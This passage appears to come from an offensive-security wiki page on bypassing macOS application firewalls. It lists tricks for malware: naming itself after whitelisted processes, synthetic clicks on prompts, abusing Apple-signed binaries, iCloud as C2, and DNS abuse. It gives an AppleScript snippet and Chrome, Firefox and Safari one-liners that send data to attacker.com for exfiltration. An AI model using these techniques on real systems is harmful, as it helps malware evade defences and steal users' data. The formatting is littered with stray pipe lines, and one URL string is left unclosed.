## Found techniques
|
||
|
|
||
|
The following techniques were found working in some macOS firewall apps.
|
||
|
|
||
|
### Abusing whitelist names
|
||
|
|
||
|
* For example calling the malware with names of well known macOS processes like **`launchd`**
|
||
|
|
||
|
### Synthetic Click
|
||
|
|
||
|
* If the firewall ask for permission to the user make the malware **click on allow**
|
||
|
|
||
|
### **Use Apple signed binaries**
|
||
|
|
||
|
* Like **`curl`**, but also others like **`whois`**
|
||
|
|
||
|
### Well known apple domains
|
||
|
|
||
|
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
|
||
|
|
||
|
### Generic Bypass
|
||
|
|
||
|
Some ideas to try to bypass firewalls
|
||
|
|
||
|
### Check allowed traffic
|
||
|
|
||
|
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
|
||
|
|
||
|
```bash
|
||
|
lsof -i TCP -sTCP:ESTABLISHED
|
||
|
```
|
||
|
|
||
|
### Abusing DNS
|
||
|
|
||
|
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.

|
||
|
|
||
|
### Via Browser apps
|
||
|
|
||
|
* **oascript**
|
||
|
|
||
|
```applescript
|
||
|
tell application "Safari"
|
||
|
run
|
||
|
tell application "Finder" to set visible of process "Safari" to false
|
||
|
make new document
|
||
|
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
|
||
|
end tell
|
||
|
```
|
||
|
|
||
|
* Google Chrome
|
||
|
|
||
|
{% code overflow="wrap" %}
|
||
|
```bash
|
||
|
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
* Firefox
|
||
|
|
||
|
```bash
|
||
|
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||
|
```
|
||
|
|
||
|
* Safari
|
||
|
|
||
|
```bash
|
||
|
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||
|
```
|
||
|
|
||
|
### Via processes injections
|
||
|
|
||
|
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
|
||
|
|
||
|
{% content-ref url="macos-proces-abuse/" %}
|
||
|
[macos-proces-abuse](macos-proces-abuse/)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
